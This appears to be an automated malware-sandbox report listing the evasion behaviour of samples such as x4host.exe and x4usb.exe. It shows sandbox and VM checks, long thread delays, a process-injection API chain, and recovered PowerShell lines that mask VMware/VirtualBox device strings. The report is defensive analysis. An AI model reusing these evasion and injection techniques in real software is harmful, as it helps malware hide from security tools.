Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\x4usb.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dllhost.exe

Code function: OpenProcess,IsWow64Process,FindCloseChangeNotification,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,FindCloseChangeNotification,CloseHandle,

5_2_0000000140001868

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\x4host.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: x4host.exe, 00000002.00000002.2967434276.0000000003181000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: x433.exe, 00000000.00000002.1709422465.0000000002991000.00000004.00000800.00020000.00000000.sdmp, x4host.exe, 00000002.00000000.1707631721.0000000000FB2000.00000002.00000001.01000000.00000007.sdmp, x4host.exe.0.dr, x4usb.exe.2.dr	Binary or memory string: SBIEDLL.DLLCUSJ8UQGKRLJNAXNT6GA7PCHOZROFCGCGMCV8A058YIW0ANSSVE5NMBP6ECJ9C3ENP6LCC0XTD9NV4P7SATWGKGWWJELNDNAHWQXHACY0AU8TTKZQCF12VXLCJIRVTHCKGNAFSA5CGSAWHAT4K7J1VB1XD74A4TSL12K5XOHQWCJI4W892GJTBHNET83WZF0MCJXDIWABCIQC37A7I0UGRNSGGQQM7NQSUICKFAQPDZ07GCG2LARGGN4N1KWBHJS17GG8OHYIDD7YHJPCRVPH9BRUFE6NFMN75VIF57OYMQFBGLNYCCBWATT1ULITUI2D0YNXOOJSIMUSEE1FIR8CT9RQERHPOWMZELSR6COGPNCZ7FDR6FIPICQZQZYCNWRH85Q3YCY3JB8QDF4YUKFYY0VINFO

Source: C:\Users\user\Desktop\x433.exe	Memory allocated: A90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Memory allocated: 1A990000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Memory allocated: 30B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Memory allocated: 1B180000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\x4usb.exe	Memory allocated: D60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\x4usb.exe	Memory allocated: 1AA70000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\x433.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\x4usb.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Window / User API: threadDelayed 8461	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Window / User API: threadDelayed 1364	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4768	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3338	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Window / User API: threadDelayed 470	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 7592	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 2408	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9964	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1173	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9855	Jump to behavior

Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_5-8176
Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_5-8962
Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_1-10221
Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegQueryValue,DecisionNodes,ExitProcess	graph_5-8179

Source: C:\Windows\System32\dllhost.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_5-8119

Source: C:\Windows\System32\lsass.exe	API coverage: 9.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.7 %

Source: C:\Users\user\Desktop\x433.exe TID: 6616	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe TID: 6620	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2000	Thread sleep count: 4768 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2000	Thread sleep count: 3338 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3444	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7108	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dllhost.exe TID: 6992	Thread sleep count: 470 > 30	Jump to behavior
Source: C:\Windows\System32\dllhost.exe TID: 6992	Thread sleep time: -47000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dllhost.exe TID: 3152	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 6524	Thread sleep count: 7592 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 6524	Thread sleep time: -7592000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 6524	Thread sleep count: 2408 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 6524	Thread sleep time: -2408000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 6552	Thread sleep count: 9964 > 30	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 6552	Thread sleep time: -9964000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6764	Thread sleep count: 1173 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6764	Thread sleep time: -1173000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dwm.exe TID: 6788	Thread sleep count: 9855 > 30	Jump to behavior
Source: C:\Windows\System32\dwm.exe TID: 6788	Thread sleep time: -9855000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6808	Thread sleep count: 250 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6808	Thread sleep time: -250000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7076	Thread sleep count: 252 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7076	Thread sleep time: -252000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7116	Thread sleep count: 253 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7116	Thread sleep time: -253000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7092	Thread sleep count: 249 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7092	Thread sleep time: -249000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3608	Thread sleep count: 197 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3608	Thread sleep time: -197000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1104	Thread sleep count: 251 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1104	Thread sleep time: -251000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5696	Thread sleep count: 239 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5696	Thread sleep time: -239000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2380	Thread sleep count: 246 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2380	Thread sleep time: -246000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2932	Thread sleep count: 251 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2932	Thread sleep time: -251000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5432	Thread sleep count: 251 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5432	Thread sleep time: -251000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1436	Thread sleep count: 243 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1436	Thread sleep time: -243000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1196	Thread sleep count: 238 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1196	Thread sleep time: -238000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1704	Thread sleep count: 252 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1704	Thread sleep time: -252000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6908	Thread sleep count: 251 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6908	Thread sleep time: -251000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7052	Thread sleep count: 253 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7052	Thread sleep time: -253000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6672	Thread sleep count: 250 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6672	Thread sleep time: -250000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7088	Thread sleep count: 242 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7088	Thread sleep time: -242000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2000	Thread sleep count: 245 > 30
Source: C:\Windows\System32\svchost.exe TID: 2000	Thread sleep time: -245000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6964	Thread sleep count: 248 > 30
Source: C:\Windows\System32\svchost.exe TID: 6964	Thread sleep time: -248000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7048	Thread sleep count: 238 > 30
Source: C:\Windows\System32\svchost.exe TID: 7048	Thread sleep time: -238000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6976	Thread sleep count: 250 > 30
Source: C:\Windows\System32\svchost.exe TID: 6976	Thread sleep time: -250000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4420	Thread sleep count: 248 > 30
Source: C:\Windows\System32\svchost.exe TID: 4420	Thread sleep time: -248000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6320	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 6320	Thread sleep time: -251000s >= -30000s
Source: C:\Windows\System32\spoolsv.exe TID: 5288	Thread sleep count: 188 > 30
Source: C:\Windows\System32\spoolsv.exe TID: 5288	Thread sleep time: -188000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2180	Thread sleep count: 226 > 30
Source: C:\Windows\System32\svchost.exe TID: 2180	Thread sleep time: -226000s >= -30000s
Source: C:\Users\user\AppData\Local\x4usb.exe TID: 5840	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5716	Thread sleep count: 227 > 30
Source: C:\Windows\System32\svchost.exe TID: 5716	Thread sleep time: -227000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1352	Thread sleep count: 239 > 30
Source: C:\Windows\System32\svchost.exe TID: 1352	Thread sleep time: -239000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4544	Thread sleep count: 62 > 30
Source: C:\Windows\System32\svchost.exe TID: 4544	Thread sleep time: -62000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1984	Thread sleep count: 61 > 30
Source: C:\Windows\System32\svchost.exe TID: 1984	Thread sleep time: -61000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\x4host.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\spoolsv.exe	Last function: Thread delayed
Source: C:\Windows\System32\spoolsv.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\x4host.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\x4usb.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\System32\dllhost.exe	Code function: 5_2_000002D8B0A6E630 FindFirstFileExW,	5_2_000002D8B0A6E630
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_00000225DC64E630 FindFirstFileExW,	6_2_00000225DC64E630
Source: C:\Windows\System32\lsass.exe	Code function: 7_2_00000202C0AEE630 FindFirstFileExW,	7_2_00000202C0AEE630
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_000002A66130E630 FindFirstFileExW,	8_2_000002A66130E630
Source: C:\Windows\System32\dwm.exe	Code function: 9_2_000002BAAE26E630 FindFirstFileExW,	9_2_000002BAAE26E630
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000026A879CE630 FindFirstFileExW,	10_2_0000026A879CE630
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_00000179537AE630 FindFirstFileExW,	11_2_00000179537AE630

Source: C:\Users\user\Desktop\x433.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\x4usb.exe	Thread delayed: delay time: 922337203685477

Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.16.dr	Binary or memory string: VMware SATA CD00
Source: svchost.exe, 0000000E.00000002.2961583336.000001845AC2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000_0r
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.16.dr	Binary or memory string: NECVMWarVMware SATA CD00
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.16.dr	Binary or memory string: LSI_SASVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: svchost.exe, 00000029.00000000.1906283750.0000023D1002B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000000.1906340282.0000023D10043000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000002.2956233621.0000023D10043000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000002.2975747132.0000023D10900000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000029.00000002.2954926787.0000023D1002B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000021.00000000.1866915131.000002644A702000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000021.00000000.1866482937.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Microsoft-Windows-Storsvc%4Diagnostic.evtx.16.dr	Binary or memory string: VMware Virtual disk 2.0 6000c2942fce4d06663969f532e45d1aPCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.16.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1ap
Source: Microsoft-Windows-PowerShell%4Operational.evtx.16.dr	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware Virtual disk", $value).replace("VMware", $value).replace("HARDDISK", "WDC").replace("VIRTUAL_DISK", $value)
Source: svchost.exe, 00000008.00000002.2956012355.000002A66062A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: System.evtx.16.dr	Binary or memory string: VMCI: Using capabilities (0x1c).
Source: Microsoft-Windows-PowerShell%4Operational.evtx.16.dr	Binary or memory string: $value = $pr.Value.replace("VEN_80EE", $value).replace("VEN_15AD", $value).replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("82801FB", $value).replace("82441FX", $value).replace("82371SB", $value).replace("OpenHCD", $value).replace("VMWare", $value).replace("VMware", $value)
Source: svchost.exe, 00000021.00000000.1866482937.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}1e
Source: x4usb.exe.2.dr	Binary or memory string: vmware
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.16.dr	Binary or memory string: nonicNECVMWarVMware SATA CD00
Source: svchost.exe, 00000010.00000000.1798422088.000001D55862B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2955107505.000001D55862B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.16.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a@
Source: svchost.exe, 00000021.00000000.1866560549.000002644A640000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000.ifo
Source: svchost.exe, 00000010.00000000.1800562780.000001D5592C3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dowvmci
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.16.dr	Binary or memory string: VMware
Source: Microsoft-Windows-PushNotification-Platform%4Operational.evtx.16.dr	Binary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
Source: svchost.exe, 00000021.00000002.2948190504.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Microsoft-Windows-PowerShell%4Operational.evtx.16.dr	Binary or memory string: if(($pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "AdapterCompatibility" -or $pr.Name -eq "Description" -or $pr.Name -eq "InfSection" -or $pr.Name -eq "VideoProcessor") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VirtualBox' -or $pr.Value -match 'VMware' -or $pr.Value -match 'Oracle Corporation' -or $pr.Value -match 'Microsoft Basic Display Adapter'))
Source: svchost.exe, 00000021.00000000.1866915131.000002644A702000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000021.00000000.1866482937.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000,@
Source: x4host.exe, 00000002.00000002.3000681433.000000001C086000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllJJ
Source: Microsoft-Windows-PowerShell%4Operational.evtx.16.dr	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "Service" -or $pr.Name -eq "Description") -and ($pr.Value -match 'VEN_80EE' -or $pr.Value -match 'VEN_15AD' -or $pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMWare' -or $pr.Value -match 'VMware' -or $pr.Value -match '82801FB' -or $pr.Value -match '82441FX' -or $pr.Value -match '82371SB' -or $pr.Value -match 'OpenHCD'))
Source: svchost.exe, 00000021.00000000.1866915131.000002644A702000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: lsass.exe, 00000007.00000002.2966297830.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: svchost.exe, 00000021.00000000.1866482937.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.16.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a8
Source: dwm.exe, 00000009.00000002.3038914037.000002BAAA00C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000S
